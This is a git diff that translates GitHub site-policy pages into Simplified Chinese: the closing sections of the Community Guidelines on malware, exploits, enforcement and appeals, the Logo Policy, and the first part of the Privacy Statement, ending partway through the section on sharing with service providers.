-  Being part of a community includes not taking advantage of other members of the community. We do not allow anyone to use our platform in direct support of unlawful attacks that cause technical harms, such as using GitHub as a means to deliver malicious executables or as attack infrastructure, for example by organizing denial of service attacks or managing command and control servers. Technical harms means overconsumption of resources, physical damage, downtime, denial of service, or data loss, with no implicit or explicit dual-use purpose prior to the abuse occurring.
+- #### Active malware or exploits Being part of a community includes not taking advantage of other members of the community. 我们不允许任何人利用我们的平台直接支持造成技术损害的非法攻击， 例如利用 GitHub 作为提供恶意可执行文件的方式或作为攻击基础架构， 例如，组织拒绝服务攻击或管理命令和控制服务器。 技术损害是指资源过度消耗、物理损坏、停机、拒绝服务或数据丢失，在滥用之前没有隐含或明确的双重用途。
 
-  Note that GitHub allows dual-use content and supports the posting of content that is used for research into vulnerabilities, malware, or exploits, as the publication and distribution of such content has educational value and provides a net benefit to the security community. We assume positive intention and use of these projects to promote and drive improvements across the ecosystem. 
+  请注意，GitHub 允许双重用途内容，并支持发布用于研究漏洞、恶意软件或漏洞的内容，因为此类内容的发布和分发具有教育价值，并为安全社区提供净收益。 我们具有积极的意图，并利用这些项目来促进和推动整个生态系统的改善。
 
-  In rare cases of very widespread abuse of dual-use content, we may restrict access to that specific instance of the content to disrupt an ongoing unlawful attack or malware campaign that is leveraging the GitHub platform as an exploit or malware CDN. In most of these instances, restriction takes the form of putting the content behind authentication, but may, as an option of last resort, involve disabling access or full removal where this is not possible (e.g. when posted as a gist). We will also contact the project owners about restrictions put in place where possible. 
+  在极少数非常普遍地滥用两用内容的情况下，我们可能会限制访问该特定内容实例，以破坏利用 GitHub 平台作为漏洞或恶意软件 CDN 的持续非法攻击或恶意软件活动。 在大多数情况下，限制采取将内容置于身份验证背后的形式，但作为最后手段，可能涉及禁用访问或在不可能的情况下完全删除（例如，当作为 Gist 发布时）。 我们还将尽可能联系项目所有者了解实施的限制。
 
-  Restrictions are temporary where feasible, and do not serve the purpose of purging or restricting any specific dual-use content, or copies of that content, from the platform in perpetuity. While we aim to make these rare cases of restriction a collaborative process with project owners, if you do feel your content was unduly restricted, we have an [appeals process](#appeal-and-reinstatement) in place.
+  在可行的情况下，限制是暂时的，无助于永久清除或限制该平台上的任何特定两用内容或该内容的副本。 尽管我们的目标是使这些罕见的限制情况成为与项目所有者的合作过程，但如果您认为您的内容受到了不适当的限制，我们也有[申诉流程](#appeal-and-reinstatement)。
 
-  To facilitate a path to abuse resolution with project maintainers themselves, prior to escalation to GitHub abuse reports, we recommend, but do not require, that repository owners take the following steps when posting potentially harmful security research content:
+  为了便于项目维护者自己找到解决滥用问题的途径，在上报给 GitHub 滥用报告之前，我们建议但不要求仓库所有者在张贴可能有害的安全研究内容时采取下列步骤：
 
-    * Clearly identify and describe any potentially harmful content in a disclaimer in the project’s README.md file or source code comments.
-    * Provide a preferred contact method for any 3rd party abuse inquiries through a SECURITY.md file in the repository (e.g. "Please create an issue on this repository for any questions or concerns"). Such a contact method allows 3rd parties to reach out to project maintainers directly and potentially resolve concerns without the need to file abuse reports.
+    * 在项目的 README.md 文件或源代码评论中，清楚地识别和描述任何可能有害的内容。
+    * 通过仓库中的 SECURITY.md 文件为任何第三方滥用查询提供首选的联系方式（例如，“请在此仓库上为任何问题或疑虑创建议题”）。 这种联系方式允许第三方直接与项目维护者联系，并有可能解决问题，而无需提交滥用报告。
 
-  *GitHub considers the npm registry to be a platform used primarily for installation and run-time use of code, and not for research.*
+  *GitHub 认为 npm 注册表是一个主要用于安装和代码运行时使用的平台，而不是用于研究的平台。*
 
 
-## What happens if someone breaks the rules?
+## 如果有人违反规则会怎么样？
 
-There are a variety of actions that we may take when a user reports inappropriate behavior or content. It usually depends on the exact circumstances of a particular case. We recognize that sometimes people may say or do inappropriate things for any number of reasons. Perhaps they did not realize how their words would be perceived. Or maybe they just let their emotions get the best of them. Of course, sometimes, there are folks who just want to spam or cause trouble.
+当用户举报不当行为或内容时，我们可能会采取各种措施。 它通常取决于特定案例的确切情况。 我们知道，有时人们可能会出于各种原因而去说或去做一些不适当的事情。 也许他们并未意识到自己的言论会被如何解读。 或者他们只是想让自己的情绪得到宣泄。 当然，有时候，有些人只是想散发垃圾信息或存心捣乱。
 
-Each case requires a different approach, and we try to tailor our response to meet the needs of the situation that has been reported. We'll review each abuse report on a case-by-case basis. In each case, we will have a diverse team investigate the content and surrounding facts and respond as appropriate, using these guidelines to guide our decision.
+每种情况都需要采用不同的方法，我们会努力调整对策，以满足报告的具体情况的需要。 我们将逐案审查每一份滥用报告。 在每个案例中，我们都会安排一个多元化的团队，调查内容及相关事实，并以本行为准则为决策指导，采取适当的措施。
 
-Actions we may take in response to an abuse report include but are not limited to:
+为响应滥用举报，我们可能采取的措施包括但不限于：
 
-* Content Removal
-* Content Blocking
-* Account Suspension
-* Account Termination
+* 删除内容
+* 屏蔽内容
+* 帐户暂停
+* 帐户终止
 
-## Appeal and Reinstatement
+## 申诉和恢复
 
-In some cases there may be a basis to reverse an action, for example, based on additional information a user provided, or where a user has addressed the violation and agreed to abide by our Acceptable Use Policies moving forward. If you wish to appeal an enforcement action, please contact [support](https://support.github.com/contact?tags=docs-policy).
+在某些情况下，例如根据用户提供的补充资料，可能有理由推翻某项行动，或在用户已解决违规行为并同意遵守我们的可接受使用政策。 如果您想对强制执行行动提出申诉，请联系[支持](https://support.github.com/contact?tags=docs-policy)。
 
-## Legal Notices
+## 法律声明
 
-We dedicate these Community Guidelines to the public domain for anyone to use, reuse, adapt, or whatever, under the terms of [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/).
+我们将这些社区指导方针专用于公共领域，让所有人根据 [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/) 的条款使用、重新使用、调整或适应。
 
-These are only guidelines; they do not modify our [Terms of Service](/articles/github-terms-of-service/) and are not intended to be a complete list. GitHub retains full discretion under the [Terms of Service](/articles/github-terms-of-service/#c-acceptable-use) to remove any content or terminate any accounts for activity that violates our Terms on Acceptable Use. These guidelines describe when we will exercise that discretion.
+这些只是指导方针；不影响我们的[服务条款](/articles/github-terms-of-service/)，也不打算作为完整的清单。 GitHub 保留根据[服务条款](/articles/github-terms-of-service/#c-acceptable-use)完全酌处的权利，可以删除任何内容或终止其活动违反我们可接受使用条款的任何帐户。 这些指导方针说明了我们何时将行使这一酌处权。
diff --git a/translations/zh-CN/content/github/site-policy/github-logo-policy.md b/translations/zh-CN/content/github/site-policy/github-logo-policy.md
index ec874245e8..33af16ab25 100644
--- a/translations/zh-CN/content/github/site-policy/github-logo-policy.md
+++ b/translations/zh-CN/content/github/site-policy/github-logo-policy.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Logo Policy
+title: GitHub 徽标政策
 redirect_from:
   - /articles/i-m-developing-a-third-party-github-app-what-do-i-need-to-know
   - /articles/using-an-octocat-to-link-to-github-or-your-github-profile
@@ -11,6 +11,6 @@ topics:
   - Legal
 ---
 
-You can add {% data variables.product.prodname_dotcom %} logos to your website or third-party application in some scenarios. For more information and specific guidelines on logo usage, see the [{% data variables.product.prodname_dotcom %} Logos and Usage page](https://github.com/logos).
+在某些情况下，您可以将 {% data variables.product.prodname_dotcom %} 徽标添加到您的网站或第三方应用程序中。 有关徽标使用的更多信息和具体指南，请参阅 [{% data variables.product.prodname_dotcom %} 徽标和使用页面](https://github.com/logos)。
 
-You can also use an octocat as your personal avatar or on your website to link to your {% data variables.product.prodname_dotcom %} account, but not for your company or a product you're building. {% data variables.product.prodname_dotcom %} has an extensive collection of octocats in the [Octodex](https://octodex.github.com/). For more information on using the octocats from the Octodex, see the [Octodex FAQ](https://octodex.github.com/faq/).
+您还可以将章鱼猫用作个人头像或放在网站上作为您的 {% data variables.product.prodname_dotcom %} 帐户的链接，但不能用于您的公司或您构建的产品。 {% data variables.product.prodname_dotcom %} 的 [Octodex](https://octodex.github.com/) 中有千姿百态的章鱼猫。 有关使用 Octodex 中的章鱼猫的更多信息，请参阅 [Octodex 常见问题解答](https://octodex.github.com/faq/)。
diff --git a/translations/zh-CN/content/github/site-policy/github-privacy-statement.md b/translations/zh-CN/content/github/site-policy/github-privacy-statement.md
index a9ce688a7e..bc084f51fc 100644
--- a/translations/zh-CN/content/github/site-policy/github-privacy-statement.md
+++ b/translations/zh-CN/content/github/site-policy/github-privacy-statement.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Privacy Statement
+title: GitHub 隐私声明
 redirect_from:
   - /privacy
   - /privacy-policy
@@ -14,329 +14,329 @@ topics:
   - Legal
 ---
 
-Effective date: December 19, 2020
+生效日期：2020 年 12 月 19 日
 
-Thanks for entrusting GitHub Inc. (“GitHub”, “we”) with your source code, your projects, and your personal information. Holding on to your private information is a serious responsibility, and we want you to know how we're handling it.
+感谢您将自己的源代码、项目和个人信息交托给 GitHub Inc. （“GitHub”、“我们”）。 保管您的私人信息是一项重大责任，我们希望您了解我们的处理方式。
 
-All capitalized terms have their definition in [GitHub’s Terms of Service](/github/site-policy/github-terms-of-service), unless otherwise noted here.
+所有大写术语采用 [GitHub 服务条款](/github/site-policy/github-terms-of-service)中的定义，除非本文另有说明。
 
 
-## The short version
+## 精简版
 
-We use your personal information as this Privacy Statement describes. No matter where you are, where you live, or what your citizenship is, we provide the same high standard of privacy protection to all our users around the world, regardless of their country of origin or location.
+我们按照本隐私声明所述来使用您的个人信息。 无论您身在何方、居于何处、是何国籍，我们为世界各地的所有用户提供同样的高标准隐私保护，不论其原籍国或所在地。
 
-Of course, the short version and the Summary below don't tell you everything, so please read on for more details.
+当然，下面的精简版和摘要无法面面俱到，因此请继续往下阅读以了解详情。
 
-## Summary
+## 摘要
 
-| Section | What can you find there? |
-|---|---|
-| [What information GitHub collects](#what-information-github-collects) | GitHub collects information directly from you for your registration, payment, transactions, and user profile. We also automatically collect from you your usage information, cookies, and device information, subject, where necessary, to your consent. GitHub may also collect User Personal Information from third parties. We only collect the minimum amount of personal information necessary from you, unless you choose to provide more. |
-| [What information GitHub does _not_ collect](#what-information-github-does-not-collect) | We don’t knowingly collect information from children under 13, and we don’t collect [Sensitive Personal Information](https://gdpr-info.eu/art-9-gdpr/). |
-| [How GitHub uses your information](#how-github-uses-your-information) | In this section, we describe the ways in which we use your information, including to provide you the Service, to communicate with you, for security and compliance purposes, and to improve our Service. We also describe the legal basis upon which we process your information, where legally required. |
-| [How we share the information we collect](#how-we-share-the-information-we-collect) | We may share your information with third parties under one of the following circumstances: with your consent, with our service providers, for security purposes, to comply with our legal obligations, or when there is a change of control or sale of corporate entities or business units. We do not sell your personal information and we do not host advertising on GitHub. You can see a list of the service providers that access your information. |
-| [Other important information](#other-important-information) | We provide additional information specific to repository contents, public information, and Organizations on GitHub. |
-| [Additional services](#additional-services) | We provide information about additional service offerings, including third-party applications, GitHub Pages, and GitHub applications. |
-| [How you can access and control the information we collect](#how-you-can-access-and-control-the-information-we-collect) | We provide ways for you to access, alter, or delete your personal information. |
-| [Our use of cookies and tracking](#our-use-of-cookies-and-tracking) | We only use strictly necessary cookies to provide, secure and improve our service. We offer a page that makes this very transparent. Please see this section for more information. |
-| [How GitHub secures your information](#how-github-secures-your-information) | We take all measures reasonably necessary to protect the confidentiality, integrity, and availability of your personal information on GitHub and to protect the resilience of our servers. |
-| [GitHub's global privacy practices](#githubs-global-privacy-practices) | We provide the same high standard of privacy protection to all our users around the world. |
-| [How we communicate with you](#how-we-communicate-with-you) | We communicate with you by email. You can control the way we contact you in your account settings, or by contacting us. |
-| [Resolving complaints](#resolving-complaints) | In the unlikely event that we are unable to resolve a privacy concern quickly and thoroughly, we provide a path of dispute resolution. |
-| [Changes to our Privacy Statement](#changes-to-our-privacy-statement) | We notify you of material changes to this Privacy Statement 30 days before any such changes become effective. You may also track changes in our Site Policy repository. |
-| [License](#license) | This Privacy Statement is licensed under the [Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/). |
-| [Contacting GitHub](#contacting-github) | Please feel free to contact us if you have questions about our Privacy Statement. |
-| [Translations](#translations) | We provide links to some translations of the Privacy Statement. |
+| 节                                                                             | 说明                                                                                                                                     |
+| ----------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
+| [GitHub 收集哪些信息](#what-information-github-collects)                            | GitHub 直接从您的注册、付款、交易和用户个人资料中收集信息。 我们还自动从您的使用信息、cookie 和设备信息中收集，但在必要时会征得您的同意。 GitHub 可能还会从第三方收集用户个人信息。 我们只收集极少量的必要个人信息，除非您自己选择提供更多信息。   |
+| [GitHub_不_收集哪些信息](#what-information-github-does-not-collect)                  | 我们不会有意收集 13 岁以下儿童的信息，也不会收集[敏感个人信息](https://gdpr-info.eu/art-9-gdpr/)。                                                                  |
+| [GitHub 如何使用您的信息](#how-github-uses-your-information)                          | 本节介绍我们使用个人信息的方式，包括为您提供服务、与您沟通、出于安全和合规目的以及改善我们的服务。 我们还介绍了在法律要求的情况下处理个人信息的法律依据。                                                          |
+| [我们如何分享所收集的信息](#how-we-share-the-information-we-collect)                      | 在以下情况下，我们可能会与第三方分享您的信息：经您同意、与我们的服务提供商分享、出于安全目的、为履行我们的法律义务，或者公司实体或业务单位的控制权发生变更或出售。 我们不会出售您的个人信息，也不会在 GitHub 上发布广告。 您可以查看可访问您信息的服务提供商列表。 |
+| [其他重要信息](#other-important-information)                                        | 我们针对 GitHub 上的仓库内容、公共信息和组织而提供的附加说明。                                                                                                    |
+| [其他服务](#additional-services)                                                  | 我们提供有关其他服务产品的信息，包括第三方应用程序、GitHub Pages 和 GitHub 应用程序。                                                                                  |
+| [您如何访问和控制我们收集的信息](#how-you-can-access-and-control-the-information-we-collect) | 我们为您提供访问、更改或删除个人信息的途径。                                                                                                                 |
+| [我们使用 cookie 和跟踪技术](#our-use-of-cookies-and-tracking)                         | 我们只是使用绝对必要的 cookie 来提供、保障和改进我们的服务。 我们提供了一个非常透明地说明此技术的网页。 请参阅本节了解更多信息。                                                                  |
+| [GitHub 如何保护您的信息](#how-github-secures-your-information)                       | 我们采取所有合理必要的措施，保护 GitHub 上个人信息的机密性、完整性和可用性，并保护我们服务器的弹性。                                                                                 |
+| [GitHub 的全球隐私实践](#githubs-global-privacy-practices)                           | 我们为世界各地的所有用户提供同样的高标准隐私保护。                                                                                                              |
+| [我们如何与您交流](#how-we-communicate-with-you)                                      | 我们通过电子邮件与您通信。 您可以在帐户设置中或通过联系我们来控制我们与您联系的方式。                                                                                            |
+| [解决投诉](#resolving-complaints)                                                 | 万一我们无法快速彻底地解决隐私问题，我们提供一条解决争议的途径。                                                                                                       |
+| [隐私声明的变更](#changes-to-our-privacy-statement)                                  | 如果本隐私声明发生重大变更，我们会在任何此类变更生效之前 30 天通知您。 您也可以在我们的站点政策仓库中跟踪变更。                                                                             |
+| [许可](#license)                                                                | 本隐私声明的许可采用[知识共享零许可](https://creativecommons.org/publicdomain/zero/1.0/)原则。                                                             |
+| [联系 GitHub](#contacting-github)                                               | 如果您对我们的隐私声明有疑问，请随时联系我们。                                                                                                                |
+| [翻译](#translations)                                                           | 我们提供本隐私声明的一些翻译版本的链接。                                                                                                                   |
 
-## GitHub Privacy Statement
+## GitHub 隐私声明
 
-## What information GitHub collects
+## GitHub 收集哪些信息
 
-"**User Personal Information**" is any information about one of our Users which could, alone or together with other information, personally identify them or otherwise be reasonably linked or connected with them. Information such as a username and password, an email address, a real name, an Internet protocol (IP) address, and a photograph are examples of “User Personal Information.”
+**用户个人信息**是关于我们用户的任何个人信息，这些信息可以单独或结合其他信息来识别他们的身份，或者以其他方式与他们合理关联。 用户名和密码、电子邮件地址、真实姓名、互联网协议 (IP) 地址和照片等信息是典型的“用户个人信息”。
 
-User Personal Information does not include aggregated, non-personally identifying information that does not identify a User or cannot otherwise be reasonably linked or connected with them. We may use such aggregated, non-personally identifying information for research purposes and to operate, analyze, improve, and optimize our Website and Service.
+用户个人信息不包括汇总的非个人识别信息，即不能识别用户身份或与他们没有合理关联的信息。 我们可能会将此类汇总的非个人识别信息用于研究目的，以及运营、分析、改善和优化我们的网站及服务。
 
-### Information users provide directly to GitHub
+### 用户直接向 GitHub 提供的信息
 
-#### Registration information
-We require some basic information at the time of account creation. When you create your own username and password, we ask you for a valid email address.
+#### 注册信息
+创建帐户时，我们需要您提供一些基本信息。 创建用户名和密码时，我们会要求您提供有效的电子邮件地址。
 
-#### Payment information
-If you sign on to a paid Account with us, send funds through the GitHub Sponsors Program, or buy an application on GitHub Marketplace, we collect your full name, address, and credit card information or PayPal information. Please note, GitHub does not process or store your credit card information or PayPal information, but our third-party payment processor does.
+#### 支付信息
+如果您注册我们的付费帐户、通过 GitHub 赞助计划汇款或在 GitHub Marketplace 上购买应用程序，我们将收集您的全名、地址和信用卡信息或 PayPal 信息。 请注意，GitHub 不会处理或存储您的信用卡信息或 PayPal 信息，但我们的第三方付款处理商会这样做。
 
-If you list and sell an application on [GitHub Marketplace](https://github.com/marketplace), we require your banking information. If you raise funds through the [GitHub Sponsors Program](https://github.com/sponsors), we require some [additional information](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account#submitting-your-bank-information) through the registration process for you to participate in and receive funds through those services and for compliance purposes.
+如果您在 [GitHub Marketplace](https://github.com/marketplace) 上列出并销售应用程序，我们需要您的银行信息。 如果您通过 [GitHub 赞助计划](https://github.com/sponsors)筹集资金，我们需要您在注册过程中提供一些[其他信息](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account#submitting-your-bank-information)，以便您参与这些服务并通过这些服务获取资金以及满足合规要求。
 
-#### Profile information
-You may choose to give us more information for your Account profile, such as your full name, an avatar which may include a photograph, your biography, your location, your company, and a URL to a third-party website. This information may include User Personal Information. Please note that your profile information may be visible to other Users of our Service.
+#### 个人资料信息
+您可以选择在帐户个人资料中向我们提供更多信息，例如您的全名、头像等，可包括照片、简历、地理位置、公司和第三方网站的 URL。 此类信息可能包括用户个人信息。 请注意，您的个人资料信息可能对我们服务的其他用户显示。
 
-### Information GitHub automatically collects from your use of the Service
+### GitHub 在您使用服务时自动收集的信息
 
-#### Transactional information
-If you have a paid Account with us, sell an application listed on [GitHub Marketplace](https://github.com/marketplace), or raise funds through the [GitHub Sponsors Program](https://github.com/sponsors), we automatically collect certain information about your transactions on the Service, such as the date, time, and amount charged.
+#### 交易信息
+如果您拥有我们的付费帐户、在 [GitHub Marketplace](https://github.com/marketplace) 上出售上架的应用程序或通过 [GitHub 赞助计划](https://github.com/sponsors)筹集资金，我们会自动收集有关您在服务中的交易的某些信息，例如日期、时间和收取金额。
 
-#### Usage information
-If you're accessing our Service or Website, we automatically collect the same basic information that most services collect, subject, where necessary, to your consent. This includes information about how you use the Service, such as the pages you view, the referring site, your IP address and session information, and the date and time of each request. This is information we collect from every visitor to the Website, whether they have an Account or not. This information may include User Personal information.
+#### 使用信息
+如果您访问我们的服务或网站，我们将与大多数服务商一样自动收集一些基本信息，但在必要时会征得您的同意。 这包括有关您如何使用服务的信息，例如您查看的页面、推荐站点、您的 IP 地址和会话信息，以及每个请求的日期和时间。 这是我们针对网站的每个访客收集的信息，无论他们是否有帐户。 此类信息可能包括用户个人信息。
 
-#### Cookies
-As further described below, we automatically collect information from cookies (such as cookie ID and settings) to keep you logged in, to remember your preferences, to identify you and your device and to analyze your use of our service.
+#### Cookie
+如下所述，我们通过 cookie 自动收集信息（例如 cookie ID 和设置）以保持您的登录状态、记住您的首选项、识别您和您的设备以及分析您使用服务的情况 。
 
-#### Device information
-We may collect certain information about your device, such as its IP address, browser or client application information, language preference, operating system and application version, device type and ID, and device model and manufacturer. This information may include User Personal information.
+#### 设备信息
+我们可能会收集有关您设备的某些信息，例如其 IP 地址、浏览器或客户端应用程序信息、语言首选项、操作系统和应用程序版本、设备类型和 ID 以及设备型号和制造商。 此类信息可能包括用户个人信息。
 
-### Information we collect from third parties
+### 从第三方收集信息
 
-GitHub may collect User Personal Information from third parties. For example, this may happen if you sign up for training or to receive information about GitHub from one of our vendors, partners, or affiliates. GitHub does not purchase User Personal Information from third-party data brokers.
+GitHub 可能会从第三方收集用户个人信息。 例如，如果您报名参加培训或从我们的供应商、合作伙伴或附属公司获取有关 GitHub 的信息，就可能会发生这种情况。 GitHub 不从第三方数据中间商购买用户个人信息。
 
-## What information GitHub does not collect
+## GitHub 不收集哪些信息
 
-We do not intentionally collect “**[Sensitive Personal Information](https://gdpr-info.eu/art-9-gdpr/)**”, such as personal data revealing racial or ethnic origin, political opinions, religious or philosophical beliefs, or trade union membership, and the processing of genetic data, biometric data for the purpose of uniquely identifying a natural person, data concerning health or data concerning a natural person’s sex life or sexual orientation. If you choose to store any Sensitive Personal Information on our servers, you are responsible for complying with any regulatory controls regarding that data.
+我们不会有意收集**[敏感个人信息](https://gdpr-info.eu/art-9-gdpr/)**，例如显示种族或民族、政见、宗教或信仰或工会成员资格的个人数据；用于唯一识别自然人的遗传数据或生物数据处理信息；有关健康的数据或涉及自然人的性生活或性取向的数据。 如果您选择在我们的服务器上存储任何敏感个人信息，则您有责任遵守有关该数据的任何法规管制。
 
-If you are a child under the age of 13, you may not have an Account on GitHub. GitHub does not knowingly collect information from or direct any of our content specifically to children under 13. If we learn or have reason to suspect that you are a User who is under the age of 13, we will have to close your Account. We don't want to discourage you from learning to code, but those are the rules. Please see our [Terms of Service](/github/site-policy/github-terms-of-service) for information about Account termination. Different countries may have different minimum age limits, and if you are below the minimum age for providing consent for data collection in your country, you may not have an Account on GitHub.
+13 岁以下的孩子不得在 GitHub 上拥有帐户。 GitHub 不会有意收集 13 岁以下孩子的信息，也没有专门为他们定制任何内容。 如果我们得知或有理由怀疑您是 13 岁以下的用户，我们不得不关闭您的帐户。 我们并不想阻止您学习代码，但这是规则。 有关帐户终止的信息，请参阅我们的[服务条款](/github/site-policy/github-terms-of-service)。 不同国家/地区可能有不同的最低年龄限制，如果您未达到您所在国家/地区提供数据收集许可的最低年龄，则不得在 GitHub 上拥有帐户。
 
-We do not intentionally collect User Personal Information that is **stored in your repositories** or other free-form content inputs. Any personal information within a user's repository is the responsibility of the repository owner.
+我们不会有意收集**存储在您的仓库中**或其他自由内容输入中的用户个人信息。 用户仓库中的任何个人信息由仓库所有者负责。
 
-## How GitHub uses your information
+## GitHub 如何使用您的信息
 
-We may use your information for the following purposes:
-- We use your [Registration Information](#registration-information) to create your account, and to provide you the Service.
-- We use your [Payment Information](#payment-information) to provide you with the Paid Account service, the Marketplace service, the Sponsors Program, or any other GitHub paid service you request.
-- We use your User Personal Information, specifically your username, to identify you on GitHub.
-- We use your [Profile Information](#profile-information) to fill out your Account profile and to share that profile with other users if you ask us to.
-- We use your email address to communicate with you, if you've said that's okay, **and only for the reasons you’ve said that’s okay**. Please see our section on [email communication](#how-we-communicate-with-you) for more information.
-- We use User Personal Information to respond to support requests.
-- We use User Personal Information and other data to make recommendations for you, such as to suggest projects you may want to follow or contribute to. We learn from your public behavior on GitHub—such as the projects you star—to determine your coding interests, and we recommend similar projects. These recommendations are automated decisions, but they have no legal impact on your rights.
-- We may use User Personal Information to invite you to take part in surveys, beta programs, or other research projects, subject, where necessary, to your consent .
-- We use [Usage Information](#usage-information) and [Device Information](#device-information) to better understand how our Users use GitHub and to improve our Website and Service.
-- We may use your User Personal Information if it is necessary for security purposes or to investigate possible fraud or attempts to harm GitHub or our Users.
-- We may use your User Personal Information to comply with our legal obligations, protect our intellectual property, and enforce our [Terms of Service](/github/site-policy/github-terms-of-service).
-- We limit our use of your User Personal Information to the purposes listed in this Privacy Statement. If we need to use your User Personal Information for other purposes, we will ask your permission first. You can always see what information we have, how we're using it, and what permissions you have given us in your [user profile](https://github.com/settings/admin).
+我们可能将您的信息用于以下目的：
+- 我们使用您的[注册信息](#registration-information)创建您的帐户并为您提供服务。
+- 我们使用您的[付款信息](#payment-information)为您提供付费帐户服务、Marketplace 服务、赞助计划或您要求的任何其他 GitHub 付费服务。
+- 我们使用您的用户个人信息，特别是您的用户名，在 GitHub 上识别您的身份。
+- 我们使用您的[个人资料信息](#profile-information)填写您的帐户个人资料，并根据您的要求将其分享给其他用户。
+- 我们使用您的电子邮件地址与您通信，但需要征得您的同意，**并且以您的同意为前提**。 请参阅我们的[电子邮件通信](#how-we-communicate-with-you)部分了解更多信息。
+- 我们使用用户个人信息响应支持请求。
+- 我们使用用户个人信息和其他数据为您提供建议，例如推荐您可能想要关注或贡献的项目。 我们根据您在 GitHub 上的公开行为（例如您加星标的项目）确定您的编码兴趣，然后向您推荐类似的项目。 这些推荐是自动生成的，但对您的权利没有任何法律影响。
+- 我们可能使用用户个人信息邀请您参与调查、测试版程序或其他研究项目，但在必要时会征得您的同意。
+- 我们使用[使用信息](#usage-information)和[设备信息](#device-information)来更好地了解用户如何使用 GitHub 并改善我们的网站和服务。
+- 出于安全目的，或者为了调查可能的欺诈行为或企图损害 GitHub 或我们用户的行为时，我们可能会使用您的用户个人信息。
+- 我们可能会使用您的用户个人信息来履行我们的法律义务、保护我们的知识产权和执行我们的[服务条款](/github/site-policy/github-terms-of-service)。
+- 我们对用户个人信息的使用范围仅限于本隐私声明中列出的目的。 如果我们要将您的用户个人信息用于其他目的，则需要您的事先许可。 在您的[用户个人资料](https://github.com/settings/admin)中，始终可以查看我们拥有哪些信息、我们如何使用这些信息以及您授予了我们哪些权限。
 
-### Our legal bases for processing information
+### 我们处理信息的法律依据
 
-To the extent that our processing of your User Personal Information is subject to certain international laws (including, but not limited to, the European Union's General Data Protection Regulation (GDPR)), GitHub is required to notify you about the legal basis on which we process User Personal Information. GitHub processes User Personal Information on the following legal bases:
+如果我们处理您的用户个人信息受某些国际法律（包括但不限于欧盟通用数据保护条例 (GDPR)）的约束，则 GitHub 必须告知您有关我们处理用户个人信息的法律依据。 GitHub 根据以下法律依据处理用户个人信息：
 
-- Contract Performance:
-  * When you create a GitHub Account, you provide your [Registration Information](#registration-information). We require this information for you to enter into the Terms of Service agreement with us, and we process that information on the basis of performing that contract. We also process your username and email address on other legal bases, as described below.
-  * If you have a paid Account with us, we collect and process additional [Payment Information](#payment-information) on the basis of performing that contract.
-  * When you buy or sell an application listed on our Marketplace or, when you send or receive funds through the GitHub Sponsors Program, we process [Payment Information](#payment-information) and additional elements in order to perform the contract that applies to those services.
-- Consent:
-  * We rely on your consent to use your User Personal Information under the following circumstances: when you fill out the information in your [user profile](https://github.com/settings/admin); when you decide to participate in a GitHub training, research project, beta program, or survey; and for marketing purposes, where applicable. All of this User Personal Information is entirely optional, and you have the ability to access, modify, and delete it at any time. While you are not able to delete your email address entirely, you can make it private. You may withdraw your consent at any time.
-- Legitimate Interests:
-  * Generally, the remainder of the processing of User Personal Information we perform is necessary for the purposes of our legitimate interest, for example, for legal compliance purposes, security purposes, or to maintain ongoing confidentiality, integrity, availability, and resilience of GitHub’s systems, Website, and Service.
-- If you would like to request deletion of data we process on the basis of consent or if you object to our processing of personal information, please use our [Privacy contact form](https://support.github.com/contact/privacy).
+- 合同履行：
+  * 您在创建 GitHub 帐户时，需要提供您的[注册信息](#registration-information)。 我们需要使用这些信息与您签订服务条款协议，并在履行合同的基础上处理这些信息。 我们还会根据其他法律依据处理您的用户名和电子邮件地址，如下所述。
+  * 如果您拥有我们的付费帐户，我们会在履行合同的基础上收集和处理额外的[付款信息](#payment-information)。
+  * 当您在 Marketplace 上买卖应用程序，或通过 GitHub 赞助计划收发资金时，我们会处理[付款信息](#payment-information)和其他元素，以便履行适用于这些服务的合同。
+- 同意：
+  * 在以下情况下，我们需要征得您的同意才能使用您的用户个人信息：您在[用户个人资料](https://github.com/settings/admin)中填写信息时；您决定参与 GitHub 培训、研究项目、测试版程序或调查时；以及用于营销目的（如果适用）时。 所有这些用户个人信息都是完全可选的，您可以随时访问、修改和删除它。 虽然不能完全删除您的电子邮件地址，但您可以将其设为私密。 您可以随时撤回同意。
+- 合法利益：
+  * 一般来说，我们处理用户个人信息的其他依据是维护我们的合法利益，例如，出于法律合规目的、安全目的，或为了保持 GitHub 系统、网站和服务的持续保密性、完整性、可用性和弹性。
+- 如果要请求删除我们在您同意的基础上处理的数据，或者对我们处理个人信息的方式有异议，请使用我们的[隐私问题联系表](https://support.github.com/contact/privacy)。。
 
-## How we share the information we collect
+## 我们如何分享所收集的信息
 
-We may share your User Personal Information with third parties under one of the following circumstances:
+我们在以下情况下可能会与第三方分享您的用户个人信息：
 
-### With your consent
-We share your User Personal Information, if you consent, after letting you know what information will be shared, with whom, and why. For example, if you purchase an application listed on our Marketplace, we share your username to allow the application Developer to provide you with services. Additionally, you may direct us through your actions on GitHub to share your User Personal Information. For example, if you join an Organization, you indicate your willingness to provide the owner of the Organization with the ability to view your activity in the Organization’s access log.
+### 经您同意
+在告知您我们将分享哪些信息、与谁分享以及原因之后，如果您同意，我们将分享您的用户个人信息。 例如，如果您购买我们 Marketplace 上列出的应用程序，我们将分享您的用户名以便该应用程序开发者为您提供服务。 此外，您可以通过在 GitHub 上的操作来指示我们分享您的用户个人信息。 例如，如果您加入组织，则表明您愿意向组织所有者提供在组织访问日志中查看您的活动的权限。
 
-### With service providers
-We share User Personal Information with a limited number of service providers who process it on our behalf to provide or improve our Service, and who have agreed to privacy restrictions similar to the ones in our Privacy Statement by signing data protection agreements or making similar commitments. Our service providers perform payment processing, customer support ticketing, network data transmission, security, and other similar services. While GitHub processes all User Personal Information in the United States, our service providers may process data outside of the United States or the European Union. If you would like to know who our service providers are, please see our page on [Subprocessors](/github/site-policy/github-subprocessors-and-cookies).
+### 与服务提供商分享
